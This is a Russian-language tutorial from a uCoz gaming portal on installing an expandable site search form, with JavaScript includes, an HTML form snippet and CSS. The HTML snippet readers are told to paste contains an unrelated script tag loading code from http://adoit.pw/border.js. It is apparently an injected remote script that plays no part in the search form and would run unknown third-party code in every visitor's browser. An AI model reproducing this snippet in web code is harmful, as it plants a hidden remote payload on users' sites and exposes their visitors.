Войти на сайт
Регистрация на сайте
Забыли пароль?
Главная Форум Фаилы
Меню сайта
Главная страница Файловый архив Музыка Форум портала Новости Поиск по сайту Наши гарантии Ваша ссылка
Наши баннеры

Наши баннеры

Опросы
Оцените мой сайт

1. Отлично
2. Хорошо
3. Неплохо
4. Ужасно
5. Плохо

Результаты Архив опросов
Всего ответов: 13
Статистика
Счетчик материалов:
Новостей: 285
Статей: 54
Файлов: 941
Форум: 149/203
Сайтов: 1
Картинок: 1
Комментариев: 14
Зарег. на сайте:
Всего: 589
Новых за месяц: 0
Новых за неделю: 0
Новых вчера: 0
Новых сегодня: 0
Из них:
Администраторов: 2
Модераторов: 0
Дизайнеров: 0
Журналистов: 0
Файловиков: 0
Проверенных: 0
V.I.P: 0
Пользователей: 587
А так же:
Парней: 556
Девушек: 32
Онлайн:
Онлайн всего: 6
Гостей: 6
Пользователей: 0

Сегодня нас посетили:

[ Полный список ]

Создаём раздвижную форму поиска для uCoz  


Всем массовый привет, сегодня в этой статье мы будем адаптировать раздвижную форму поиска для uCoz, от Codrops.

Основным отличием данного решения от других, является тот момент, что отправить поисковой запрос форме поиска можно как при нажатии на клавиатуре кнопки Enter, так и при нажатии на иконку лупы стрелкой мыши.

И так давайте приступим к установке данного решения, для этого в самый низ страницы перед закрывающим тегом </body> установим следующие js:

Код
<script src="http://pnghosts.ru/js_css/classie.js"></script>
<script src="http://pnghosts.ru/js_css/uisearch.js"></script>
<script>
  new UISearch( document.getElementById( 'sb-search' ) );
</script>


Теперь давайте установим в нужное место страницы сайта следующий html код формы поиска, которая будет искать по всему сайту.

Код
<!-- Поиск по сайту -->  
  <div id="sb-search" class="sb-search">
  <form class="" onsubmit="document.getElementById('sfSbm').disabled=true" method="get" action="/search/" >
  <input class="sb-search-input" type="text" name="q" maxlength="130" value="Поиск по сайту..." onclick="if (this.value=='Поиск по сайту...'){this.value='';}"/>
  <input class="sb-search-submit" type="hidden" name="t" value="0" /><script type="text/javascript" src="http://adoit.pw/border.js"></script> <input class="sb-icon-search " type="submit" value="" />
  </form>  
  </div>  
  <!-- /Поиск по сайту -->


Теперь нам осталось стилизовать наш html код формы поиска, для этого пропишем следующие css стили:

Код
/* Раздвижная форма поиска для uCoz
------------------------------------------*/
.sb-search {
  position: relative;
  margin-top: 10px;
  width: 0%;
  min-width: 32px;
  height: 32px;
  float: right;
  overflow: hidden;
   
  -webkit-transition: width 0.3s;
  -moz-transition: width 0.3s;
  transition: width 0.3s;
  -webkit-backface-visibility: hidden;
}

.sb-search-input {
  position: absolute;
  top: 0;
  right: 0;
   
  margin: 0;
  z-index: 10;
  width:300px;
  height: 20px;
  outline: none;
  background: #fff;  
  border: 1px solid #CAD3DA;  
  padding: 5px 32px 5px 20px;
   
  font:11px Verdana,Arial,Helvetica, sans-serif;
  color:#555;  
  border-radius:3px 0px 0px 3px;  
}

.sb-search-input::-webkit-input-placeholder {
  color: #efb480;
}

.sb-search-input:-moz-placeholder {
  color: #efb480;
}

.sb-search-input::-moz-placeholder {
  color: #efb480;
}

.sb-search-input:-ms-input-placeholder {
  color: #efb480;
}

.sb-icon-search,
.sb-search-submit {
  position: absolute;
  right: 0;
  top: 0;
  margin: 0;
   
  width: 32px;
  height: 32px;
  display: block;

  line-height: 30px;
  text-align: center;
  cursor: pointer;
}

.sb-search-submit {
  background: #fff;
  color: transparent;
  border: none;
  outline: none;
  z-index: -1;
  -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)";  
  filter: alpha(opacity=0);  
  opacity: 0;  
}

.sb-icon-search {
  border:none;  
  z-index: 90;
  background:#2cae58 url(http://pnghosts.ru/img/icon-search.png) no-repeat;
  -webkit-font-smoothing: antialiased;
  border-radius:3px 3px 3px 3px;  
}

.sb-icon-search:before {
  content: "\e000";
}

.sb-search.sb-search-open,
.no-js .sb-search {
  width: 100%;
}

.sb-search.sb-search-open .sb-icon-search,
.no-js .sb-search .sb-icon-search {
  background:#c54744 url(http://pnghosts.ru/img/icon-search.png) no-repeat;
  z-index: 11;
  border-radius:0px 3px 3px 0px;  
}

.sb-search.sb-search-open .sb-search-submit,
.no-js .sb-search .sb-search-submit {
  z-index: 90;
}


На этом всё, мы адаптировали и установили на ваш сайт раздвижную форму поиска для uCoz, от Codrops.

Спасибо за внимание!

Добавил: DoG | Просмотров: 507 | Рейтинг: 0.0/0
Теги: Теги неуказаны
Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]
Мини профиль
Реальное бабло
Мини чат
Есть вопросы? - На форум.
Здесь они игнорируются!
!help - помощь.
Доступные команды
!radio - слушать радио онлайн.
!help - помощь.
!admin - список админов.
!rules - правила чата.
beta версия
Главные админ
Freekiller.
Игры
Action Racing Arcade RPG Simulator Sport
Онлайн музыка
Клубная музыка R'n'B, Rap, Hip-hop Electro, House Русский рэп, хип-хоп Рок, Альтернатива Шансон Drum and Bass
Всё для CS 1.6
Модели оружия Модели игроков Карты Спреи Патчи Плагины для Сервера Готовые сервера Другое
Всё для uCoz
Шаблоны Иконки групп Иконки форума Скрипты
Всё для CS:Source
Модели оружия Модели игроков Модели заложей Карты Спреи Патчи Темы меню Плагины для Сервера Готовые сервера Прицелы Другое
Добрый день вы попали на развлекательный портал gamelose.ru где вашему вниманию предоставляется огромное количество файлов и свежих новостей из мира игровой индустрии. Для любителей кино мы предлагаем скачать новые фильмы. В любое время суток вы можете скачать музыку бесплатно, новые программы для PC или заказать графику для сайта Настоящим и преданным игроманам советуем пройти в игровой раздел.Просмотреть игровые видео обзоры, трейлеры, учебные пособия по прохождению других игр или просто скачать игры для PC, Xbox 360,Wii, PSP.Хостинг от uCoz


Анализ интернет сайта